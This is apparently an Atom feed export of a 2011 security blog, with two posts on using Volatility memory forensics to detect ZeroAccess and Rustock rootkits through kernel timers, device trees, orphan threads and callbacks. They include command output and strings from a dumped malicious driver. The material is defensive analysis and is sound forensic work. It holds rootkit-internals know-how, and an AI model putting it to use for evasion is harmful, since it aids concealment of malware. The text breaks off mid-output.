<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3630199973361886660</id><updated>2012-01-29T17:56:39.757-06:00</updated><title type='text'>MNIN Security Blog</title><subtitle type='html'>Coding, Reversing, Exploiting</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>71</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-8522832156347304566</id><published>2011-10-13T18:02:00.025-06:00</published><updated>2011-10-21T08:28:33.481-06:00</updated><title type='text'>Ain't Nuthin But a K(Timer) Thing, Baby</title><content type='html'>Last &lt;a href="http://mnin.blogspot.com/2011/10/zeroaccess-volatility-and-kernel-timers.html"&gt;Volatility Friday&lt;/a&gt;, I hinted that kernel timers objects (KTIMER) can be enumerated in physical memory dumps to help with analyzing ZeroAccess, Rustock, and other rootkits. This week, we'll discuss a bit more about what exactly timers are used for, how they are installed, and how to detect them - both the wrong way(s) and the right way(s). &lt;a style="color: rgb(255, 0, 0);" href="http://code.google.com/p/volatility/"&gt;Volatility&lt;/a&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; is the only memory forensics framework giving you ability to work with kernel timers&lt;/span&gt;, which is just another reason why I think this tool is unique and exciting.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;" &gt;What are Kernel Timers?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ff564655%28v=VS.85%29.aspx"&gt;Timer Objects and DPCs&lt;/a&gt; are most often used by malware for synchronization and notification. A rootkit driver may create a timer to simply be notified when a given time elapses. If you think this is similar to just calling Sleep(), then you're right. However, calling Sleep() puts your thread to sleep and prevents it from performing other actions while you wait. &lt;span style="color: rgb(255, 0, 0);"&gt;Also, Sleep() doesn't create any interesting forensic artifacts, so its a good thing when malware uses timers instead&lt;/span&gt;. But functionality-wise, you can also create timers that reset after expiring. In other words, instead of just being notified once, you can be notified on a periodic basis. Maybe the rootkit wants to check if a DNS host name resolves every 5 minutes, or poll a given registry key for changes every 2 seconds. Timers are great for these types of tasks.&lt;br /&gt;&lt;br /&gt;When you create a timer, you can supply a DPC routine (Deferred Procedure Call) - otherwise known as a callback function. When the timer expires, the system calls your callback function. The address of your callback is stored in the KTIMER structure along with information on when (and how often) to execute the callback. And now you should understand why kernel timers are such useful artifacts for malware analysis. Rootkits will load drivers in kernel memory, but try hard to stay undetected. &lt;span style="color: rgb(255, 0, 0);"&gt;But their use of timers gives us a clear shot directly to where the rootkit is hiding in memory.&lt;/span&gt; All we need to do is find the KTIMERs.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;" &gt;ETIMER, KTIMER and Windows API&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You may be familiar with the fact that every executive process (EPROCESS) has a nested KPROCESS. Every executive thread (ETHREAD) has a nested KTHREAD. The same is true for timers. Every ETIMER has a nested KTIMER. We need to figure out the difference between these structures and then determine how to find the right ones. Let's take a look at them in Windbg:&lt;br /&gt;&lt;pre&gt;kd&amp;gt; &lt;span style="font-weight: bold;"&gt;dt _ETIMER&lt;/span&gt;&lt;br /&gt;nt!_ETIMER&lt;br /&gt;+0x000 KeTimer          : _KTIMER&lt;br /&gt;+0x028 TimerApc         : _KAPC&lt;br /&gt;+0x058 TimerDpc         : _KDPC&lt;br /&gt;+0x078 ActiveTimerListEntry : _LIST_ENTRY&lt;br /&gt;+0x080 Lock             : Uint4B&lt;br /&gt;+0x084 Period           : Int4B&lt;br /&gt;+0x088 ApcAssociated    : UChar&lt;br /&gt;+0x089 WakeTimer        : UChar&lt;br /&gt;+0x08c WakeTimerListEntry : _LIST_ENTRY&lt;br /&gt;&lt;br /&gt;kd&amp;gt; &lt;span style="font-weight: bold;"&gt;dt _KTIMER&lt;/span&gt;&lt;br /&gt;ntdll!_KTIMER&lt;br /&gt;+0x000 Header           : _DISPATCHER_HEADER&lt;br /&gt;+0x010 DueTime          : _ULARGE_INTEGER&lt;br /&gt;+0x018 TimerListEntry   : _LIST_ENTRY&lt;br /&gt;+0x020 Dpc              : Ptr32 _KDPC&lt;br /&gt;+0x024 Period           : Int4B&lt;br /&gt;&lt;/pre&gt;KTIMER.DueTime and KTIMER.Period store information on when the timer expires. KTIMER.Dpc is a KDPC whose DeferredRoutine points to the registered callback function. As you can see, KTIMER.TimerListEntry is a doubly-linked list that ties the various KTIMERs together. So as we are initially working through this, you may think that by finding all ETIMERs, you'll find all KTIMERs. Right? &lt;span style="color: rgb(255, 0, 0);"&gt;Keep reading to find out why that's dead wrong. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So which API functions do you use to work with timers? The following Native APIs are implemented in ntdll.dll and call  through to the kernel via SSDT. The handles returned by NtCreateTimer  and NtOpenTimer are for ETIMER objects, and can be seen in the  process's handle table.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;NtCreateTimer&lt;/li&gt;&lt;li&gt;NtOpenTimer&lt;/li&gt;&lt;li&gt;NtCancelTimer&lt;/li&gt;&lt;li&gt;NtQueryTimer&lt;/li&gt;&lt;li&gt;NtSetTimer&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The following APIs implemented in ntoskrnl.exe work directly with KTIMER objects:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;KeInitializeTimerEx&lt;/li&gt;&lt;li&gt;KeClearTimer&lt;/li&gt;&lt;li&gt;KeCancelTimer&lt;/li&gt;&lt;li&gt;KeSetTimer&lt;/li&gt;&lt;li&gt;KeCheckForTimer&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If open ETIMERs can be seen in a process's handle table, then we can use Volatility's &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#handles"&gt;handles&lt;/a&gt; command to view them. Just pass the "-t Timer" parameters like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f mem.dmp handles -t Timer&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Offset(V)    Pid    Type             Details&lt;br /&gt;0x81fd5638   636    Timer            ''&lt;br /&gt;0x820d1a78   636    Timer            ''&lt;br /&gt;0x8217fcc0   636    Timer            'userenv: refresh timer for 636:1516'&lt;br /&gt;0x81e406c8   636    Timer            'userenv: refresh timer for 636:1892'&lt;br /&gt;0x823092c0   680    Timer            ''&lt;br /&gt;0x81f46200   680    Timer            ''&lt;br /&gt;0x8228c608   692    Timer            ''&lt;br /&gt;0x81e4f148   692    Timer            ''&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;We make several observations from this output. First, timers set by usermode APIs can optionally have names (set with the ObjectAttributes parameter to NtCreateTimer). Second, and more important to our topic at hand is that none of the timers shown belong to kernel drivers (by "belong" I mean that none of the callbacks point to kernel mode functions). And this brings us to our next big discussion. How do we find timers with callbacks in kernel mode? A few options were considered:&lt;/p&gt;&lt;p&gt;1. ETHREAD.ActiveTimerListHead is a LIST_ENTRY of ETIMERs. However, it is only for active timers. Not what we want.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. KTHREAD.Timer is a KTIMER, but again, not the same as the ones we want (you can walk the KTHREAD.Timer.TimerListEntry and see that there aren't many entries).&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. The nt!KiTimerTableListHead global symbol in ntoskrnl.exe. This is a promising possibility, but unfortunately Microsoft  has not been keeping it very consistent across operating system. The KiTimerTableListHead points to a different type of data on 2000, XP, 2003, 2008, and Vista. Sadly, it doesn't even exist on Windows 7.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. The ETIMER objects in process handle tables. Not what we want (as previously described) because it doesn't contain timers with kernel callbacks.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. Pool Scanning. Some RE shows that ETIMERs exist in non-paged pools roughly 0x98 bytes in size, with the tag Tim\xE5. If we can find these pools, and thus all ETIMERs, then we'll find all KTIMERs, right?&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Here we are again back at the question we've asked twice already. &lt;span style="color: rgb(255, 0, 0);"&gt;The answer is NO&lt;/span&gt;. Although ETIMER contains a nested KTIMER, it is possible to create a  timer without allocation of a new ETIMER. For example, the KTIMER can  be a variable in a driver's .data section. This is indicated by the fact that API functions such as &lt;a href="http://msdn.microsoft.com/en-us/library/ff552168%28v=VS.85%29.aspx"&gt;KeInitializeTimer&lt;/a&gt; require the caller to allocate storage for the KTIMER. For example:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;KTIMER Timer;&lt;br /&gt;KeInitializeTimer(&amp;amp;Timer);&lt;/pre&gt;&lt;p&gt;This is in fact how many drivers allocate storage for the timers they use. A real example can be seen in srv.sys:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;.data:0001F990 ; struct _KTIMER ScavengerTimer&lt;br /&gt;.data:0001F990 _ScavengerTimer &lt;/pre&gt;So the significance to this is - scanning for ETIMER objects and trying to reference the nested KTIMER will fail to locate the KTIMER used by srv.sys. KTIMERs don't need to exist in dynamically allocated pools at all.&lt;br /&gt;&lt;br /&gt;&lt;span &gt;&lt;span style="font-weight: bold;"&gt;The Best of the Worst &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Despite KiTimerTableListHead changing so much across OS versions, its probably our best bet. On Windows 2000, KiTimerTableListHead was an array of 128 LIST_ENTRY structures for KTIMERs. For example it may have looked like this:&lt;br /&gt;&lt;pre&gt;#define TIMER_TABLE_SIZE 128&lt;br /&gt;#define LIST_ENTRY KiTimerTableListHead[TIMER_TABLE_SIZE];&lt;br /&gt;&lt;/pre&gt;On Windows XP SP0-SP3 x86 and Windows 2003 SP0, Microsoft expanded the array to 258 LIST_ENTRYs.&lt;br /&gt;&lt;pre&gt;#define TIMER_TABLE_SIZE 256&lt;br /&gt;#define LIST_ENTRY KiTimerTableListHead[TIMER_TABLE_SIZE];&lt;br /&gt;&lt;/pre&gt;On Windows XP x64, Windows 2003 SP1-SP2, and Vista SP0-SP2, Microsoft not only expanded it, but changed the type of data it pointed to. It was changed to 512 KTIMER_TABLE_ENTRY structures.&lt;br /&gt;&lt;pre&gt;#define TIMER_TABLE_SIZE 512&lt;br /&gt;&lt;br /&gt;typedef struct _KTIMER_TABLE_ENTRY {&lt;br /&gt;LIST_ENTRY Entry;&lt;br /&gt;ULARGE_INTEGER Time;&lt;br /&gt;} KTIMER_TABLE_ENTRY, *PKTIMER_TABLE_ENTRY;&lt;br /&gt;&lt;br /&gt;#define KTIMER_TABLE_ENTRY KiTimerTableListHead[TIMER_TABLE_SIZE];&lt;br /&gt;&lt;/pre&gt;Starting with Windows 7, there is no more KiTimerTableListHead. The KTIMERs can be found by walking a list pointed to by the KPCR (KPCR.PrcbData.TimerTable.TimerEntries). Credits for finding the Windows 7 list goes to &lt;a href="http://www.moonsols.com/"&gt;Matt Suiche&lt;/a&gt; who wrote a &lt;a href="http://pastebin.com/FiRsGW3f"&gt;Windbg plugin&lt;/a&gt; supporting Windows XP and Windows 7.&lt;br /&gt;&lt;p&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;So despite the variance among data structures, its annoying but certainly not impossible to write a Volatility plugin that supports XP, 2003, 2008, Vista, &lt;span style="font-style: italic;"&gt;and&lt;/span&gt; 7. In fact, it can be done in less than 150 lines of Python, including comments, and without relying on PDB support!&lt;/span&gt; The plugin has been commited to &lt;a href="http://code.google.com/p/malwarecookbook/source/detail?r=111"&gt;malware.py&lt;/a&gt; and will be considered one of the new plugins fully released with the 2.1 alpha version of the malware plugins later this year.&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span &gt;Malware Analysis with Kernel Timers&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Here's the moment we've been waiting for! You may recall a snippet of last week's post about detecting ZeroAccess due to its use of timers with a callback function in an unknown region of kernel memory.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f zeroaccess2.vmem timers&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Offset       DueTime              Period(ms) Signaled   Routine      Module&lt;br /&gt;0x805598e0   0x00000084:0xce8b961c 1000       Yes        0x80523dee   ntoskrnl.exe&lt;br /&gt;0x820a1e08   0x00000084:0xdf3c0c1c 30000      Yes        0xb2d2a385   afd.sys&lt;br /&gt;0x81ebf0b8   0x00000084:0xce951f84 0          -          0xf89c23f0   TDI.SYS&lt;br /&gt;[snip]&lt;br /&gt;0x81dbeb78   0x00000131:0x2e896402 0          -          0xf83faf6f   NDIS.sys&lt;br /&gt;0x81e8b4f0   0x00000131:0x2e896402 0          -          0xf83faf6f   NDIS.sys&lt;br /&gt;0x81eb8e28   0x00000084:0xe5855f6a 0          -          0x80534e48   ntoskrnl.exe&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xb20bbbb0   0x00000084:0xd4de72d2 60000      Yes        0xb20b5990   UNKNOWN&lt;/span&gt;&lt;br /&gt;0x8210d910   0x80000000:0x0a7efa36 0          -          0x80534e48   ntoskrnl.exe&lt;br /&gt;0x82274190   0x80000000:0x711befba 0          -          0x80534e48   ntoskrnl.exe&lt;br /&gt;0x81de9690   0x80000000:0x0d0c3e8a 0          -          0x80534e48   ntoskrnl.exe&lt;/pre&gt;&lt;p&gt;Beautiful! The UNKNOWN indicates that the memory can't be attributed to any legitimate kernel driver. How about a Rustock.C variant?&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;$ &lt;span style="font-weight: bold;"&gt;python volatility.py timers -f rustock-c.vmem &lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;Offset       DueTime               Period(ms) Signaled   Routine      Module&lt;br /&gt;0xf730a790   0x00000000:0x6db0f0b4 0          -          0xf72fb385   srv.sys&lt;br /&gt;0x80558a40   0x00000000:0x68f10168 1000       Yes        0x80523026   ntoskrnl.exe&lt;br /&gt;0x80559160   0x00000000:0x695c4b3a 0          -          0x80526bac   ntoskrnl.exe&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x820822e4   0x00000000:0xa2a56bb0 150000     Yes        0x81c1642f   UNKNOWN&lt;/span&gt;&lt;br /&gt;0xf842f150   0x00000000:0xb5cb4e80 0          -          0xf841473e   Ntfs.sys&lt;br /&gt;0xf70d00e0   0x00000000:0x81eb644c 0          -          0xf70c18de   HTTP.sys&lt;br /&gt;0xf70cd808   0x00000000:0x81eb644c 60000      Yes        0xf70b6202   HTTP.sys&lt;br /&gt;0x81e57fb0   0x00000000:0x6a4f7b16 30000      Yes        0xf7b62385   afd.sys&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x81f5f8d4   0x00000000:0x6a517bc8 3435       Yes        0x81c1642f   UNKNOWN&lt;/span&gt;&lt;br /&gt;0x82055218   0x00000000:0x6cb1d516 10000      Yes        0xf8a126c4   watchdog.sys&lt;br /&gt;0x82022530   0x00000000:0x6cb1d516 10000      Yes        0xf8a126c4   watchdog.sys&lt;br /&gt;0x82007270   0x80000000:0x139ab60a 0          -          0x80534016   ntoskrnl.exe&lt;br /&gt;0x82041b40   0x00000098:0x9f1d5f32 0          -          0xf83fafdf   NDIS.sys&lt;br /&gt;0x8207acc0   0x80000000:0x0f13ff2e 0          -          0x80534016   ntoskrnl.exe&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x81f7eaf4   0x00000000:0x6d0082b0 20000      Yes        0x81c1642f   UNKNOWN&lt;/span&gt;&lt;br /&gt;0x82035308   0x00000000:0x74442ce8 60000      Yes        0xf83fb72c   NDIS.sys&lt;br /&gt;0x81f2f158   0x80000000:0x520f0f9e 0          -          0x80534016   ntoskrnl.exe&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Ahah! Rustock registers three different timers, pointing to the same unknown region of memory, but that expire at different time periods.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span &gt;&lt;span style="font-weight: bold;"&gt;What Can't You Do with Volatility?&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;With a bit of research, a little coding, and some malware samples to test with, there isn't much you can't do with Volatility. Timers with callbacks pointing to unknown kernel memory regions are important artifacts that you don't want to miss. Please join me in welcoming the timers plugin to the malware forensic space!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-8522832156347304566?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/8522832156347304566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=8522832156347304566' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/8522832156347304566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/8522832156347304566'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/10/aint-nuthin-but-ktimer-thing-baby.html' title='Ain&apos;t Nuthin But a K(Timer) Thing, Baby'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-3591177040619503493</id><published>2011-10-13T09:03:00.008-06:00</published><updated>2011-10-14T08:30:14.984-06:00</updated><title type='text'>ZeroAccess, Volatility, and Kernel Timers</title><content type='html'>As today is Volatility Friday, we'll discuss how to hunt ZeroAccess in memory by following the lead of several others and then writing our own custom plugin. I first want to recognize the work done on this topic by &lt;a href="http://www.kernelmode.info/forum/viewtopic.php?f=13&amp;amp;t=1175#p9090"&gt;Frank Boldewin&lt;/a&gt;, &lt;a href="http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/"&gt;Giuseppe Bonfa&lt;/a&gt;, and &lt;a href="http://pxnow.prevx.com/content/blog/zeroaccess_analysis.pdf"&gt;Marco Giuliani&lt;/a&gt;. They are the ones doing the reverse engineering here - I am just translating their findings and showing how to do things "the Volatility way."&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;The First Sample: e6823f932c2b40d2025d78bb78d64458&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is the same sample Frank used in his analysis (see link above) so you will want to read that post first. Frank's course of actions to find ZeroAccess were:&lt;br /&gt;&lt;br /&gt;1) Find the DEVICE_OBJECT that starts with ACPI#PNP[...]&lt;br /&gt;2) Find the DRIVER_OBJECT to which the device belongs (note the driver is unnamed)&lt;br /&gt;3) Take the DriverStart and DriverSize members of the DRIVER_OBJECT to dump the rootkit's kernel code&lt;br /&gt;4) Search for threads executing in the same space as the rootkit's kernel code&lt;br /&gt;5) Find the process with a fake usermode ADS name (i.e. a colon ':' in the name)&lt;br /&gt;6) Dump the malicious process&lt;br /&gt;&lt;br /&gt;Okay so let's get to work with Volatility! We'll follow nearly the same order of operations that Frank used, however to start instead of looking in the \global?? directory for the DEVICE_OBJECT, we'll just use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#devicetree"&gt;devicetree&lt;/a&gt; plugin.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f zeroaccess1.vmem devicetree&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;DRV 0x022dba18 '\\Driver\\NetBT'&lt;br /&gt;---| DEV 0x81dc7d30 NetBT_Tcpip_{9B5A1EAD-7852-455F-9740-5E1FCD05D812} FILE_DEVICE_NETWORK&lt;br /&gt;---| DEV 0x82251ca0 NetBt_Wins_Export FILE_DEVICE_NETWORK&lt;br /&gt;---| DEV 0x81eb3030 NetbiosSmb FILE_DEVICE_NETWORK&lt;br /&gt;DRV 0x022e1c08 '\\FileSystem\\MRxDAV'&lt;br /&gt;---| DEV 0x81caca58 WebDavRedirector FILE_DEVICE_NETWORK_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;DRV 0x022e3880&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;---| DEV 0x81f3ee48 ACPI#PNP0303#2&amp;amp;da1a3ff&amp;amp;0 FILE_DEVICE_UNKNOWN&lt;/span&gt;&lt;br /&gt;DRV 0x022f9f38 '\\Driver\\intelppm'&lt;br /&gt;---| DEV 0x81c8cdd8 (unnamed) FILE_DEVICE_UNKNOWN&lt;/span&gt;&lt;/pre&gt;There's a unnamed DRIVER_OBJECT at physical offset 0x022e3880 that has a DEVICE_OBJECT at virtual address 0x81f3ee48 with name ACPI#PNP[...]. That seems to correlate with Frank's findings, so it feels like we're on the right track. The next thing I want to do is figure out the DriverStart and DriverSize of the DRIVER_OBJECT. One could easily modify the devicetree plugin to print this information (we'll show how to do it programatically in a minute) but for the time being I'll just use &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#volshell"&gt;volshell&lt;/a&gt;. The values displayed will be in decimal.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f zeroaccess1.vmem volshell&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Current context: process System, pid=4, ppid=0 DTB=0x319000&lt;br /&gt;To get help, type 'hh()'&lt;br /&gt;&lt;br /&gt;In [1]: &lt;span style="font-weight: bold;"&gt;dt("_DEVICE_OBJECT", 0x81f3ee48)&lt;/span&gt;&lt;br /&gt;[CType _DEVICE_OBJECT] @ 0x81F3EE48&lt;br /&gt;0x0   : Type                           3&lt;br /&gt;0x2   : Size                           184&lt;br /&gt;0x4   : ReferenceCount                 3&lt;br /&gt;0x8   : DriverObject                   2181970048&lt;br /&gt;&lt;br /&gt;In [2]: &lt;span style="font-weight: bold;"&gt;dt("_DRIVER_OBJECT", 2181970048)&lt;/span&gt;&lt;br /&gt;[CType _DRIVER_OBJECT] @ 0x820E3880&lt;br /&gt;0x0   : Type                           4&lt;br /&gt;0x2   : Size                           168&lt;br /&gt;0x4   : DeviceObject                   2180247112&lt;br /&gt;0x8   : Flags                          18&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0xc   : DriverStart                    2987057152&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x10  : DriverSize                     126976&lt;/span&gt;&lt;br /&gt;0x14  : DriverSection                  2180702128&lt;br /&gt;0x18  : DriverExtension                2181970216&lt;br /&gt;&lt;br /&gt;In [3]: &lt;span style="font-weight: bold;"&gt;hex(2987057152)&lt;/span&gt;&lt;br /&gt;Out[3]: '0xb20ae000'&lt;br /&gt;&lt;br /&gt;In [4]: &lt;span style="font-weight: bold;"&gt;hex(126976)&lt;/span&gt;&lt;br /&gt;Out[4]: '0x1f000'&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;Now that we know the driver's kernel code exists at 0xb20ae000, we can dump it with &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#moddump"&gt;moddump&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess1.vmem moddump -o 0xb20ae000 -D zeroaccess/&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Dumping Unknown, Base: b20ae000 output: driver.b20ae000.sys&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;strings zeroaccess/driver.b20ae000.sys&lt;/span&gt;&lt;br /&gt;!This program cannot be run in DOS mode.&lt;br /&gt;X6Rich&lt;br /&gt;.text&lt;br /&gt;`.rdata&lt;br /&gt;@.data&lt;br /&gt;.reloc&lt;br /&gt;&lt;br /&gt;PVVV&lt;br /&gt;Ul;Upw&lt;br /&gt;!This program cannot be run in DOS mode.&lt;br /&gt;Rich&lt;br /&gt;.text&lt;br /&gt;&lt;br /&gt;RSA1&lt;br /&gt;A8C,&lt;br /&gt;!This program cannot be run in DOS mode.&lt;br /&gt;Rich&lt;br /&gt;.text&lt;br /&gt;PPPTh&lt;br /&gt;ZwCreateFile&lt;br /&gt;ZwTestAlert&lt;br /&gt;ntdll.dll&lt;br /&gt;ExitProcess&lt;br /&gt;KERNEL32.dll&lt;br /&gt;1234567890123456789012345678901234567890123456789012345678901234&lt;br /&gt;&lt;br /&gt;CryptAcquireContextW&lt;br /&gt;CryptImportKey&lt;br /&gt;CryptCreateHash&lt;br /&gt;CryptHashData&lt;br /&gt;CryptVerifySignatureW&lt;br /&gt;CryptDestroyHash&lt;br /&gt;CryptReleaseContext&lt;br /&gt;MD5Init&lt;br /&gt;MD5Update&lt;br /&gt;&lt;br /&gt;ntp2.usno.navy.mil&lt;br /&gt;ntp.adc.am&lt;br /&gt;tock.usask.ca&lt;br /&gt;ntp.crifo.org&lt;br /&gt;ntp1.arnes.si&lt;br /&gt;ntp.ucsd.edu&lt;br /&gt;ntp.duckcorp.org&lt;br /&gt;wwv.nist.gov&lt;br /&gt;clock.isc.org&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Based on the "This program cannot[...]" strings, the driver has multiple embedded PE files, so you can already begin to expect code injection or at least a user mode presence. Hold that thought.&lt;br /&gt;&lt;br /&gt;The 4th step in Frank's analysis was to check for suspicious threads based on their starting or current IP location. You can do this easily with the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#threads"&gt;threads&lt;/a&gt; plugin by filtering for orphan threads (-F OrphanThread).&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess1.vmem threads -F OrphanThread&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;------&lt;br /&gt;ETHREAD: 0x81c6b4a0 Pid: 4 Tid: 908&lt;br /&gt;Tags: OrphanThread,SystemThread&lt;br /&gt;Created: 2011-10-13 14:26:18&lt;br /&gt;Exited: -&lt;br /&gt;Owning Process: 0x823c8830 'System'&lt;br /&gt;Attached Process: 0x823c8830 'System'&lt;br /&gt;State: Waiting:WrQueue&lt;br /&gt;BasePriority: 0x8&lt;br /&gt;Priority: 0x8&lt;br /&gt;TEB: 0x00000000&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;StartAddress: 0xb20b6105&lt;/span&gt;&lt;br /&gt;ServiceTable: 0x80552fa0&lt;br /&gt;[0] 0x80501b8c&lt;br /&gt;[1] -&lt;br /&gt;[2] -&lt;br /&gt;[3] -&lt;br /&gt;Win32Thread: 0x00000000&lt;br /&gt;CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM&lt;br /&gt;b20b6105: 58                               POP EAX&lt;br /&gt;b20b6106: 870424                           XCHG [ESP], EAX&lt;br /&gt;b20b6109: ffd0                             CALL EAX&lt;br /&gt;b20b610b: 8b0df8bb0bb2                     MOV ECX, [0xb20bbbf8]&lt;br /&gt;b20b6111: ff2500920bb2                     JMP DWORD [0xb20b9200]&lt;br /&gt;b20b6117: 64a118000000                     MOV EAX, [FS:0x18]&lt;/span&gt;&lt;/pre&gt;As you can see, this thread's StartAddress is 0xb20b6105 - well within range of the ZeroAccess driver. By using the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#callbacks"&gt;callbacks&lt;/a&gt; plugin, you can also see there's a suspicious IoRegisterShutdownNotification routine pointing at approximately the same range in kernel memory.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess1.vmem callbacks&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Type                                 Callback   Owner&lt;br /&gt;PsSetCreateProcessNotifyRoutine      0xf87ad194 vmci.sys&lt;br /&gt;KeBugCheckCallbackListHead           0xf83e65ef NDIS.sys (Ndis miniport)&lt;br /&gt;KeBugCheckCallbackListHead           0x806d77cc hal.dll (ACPI 1.0 - APIC platform UP)&lt;br 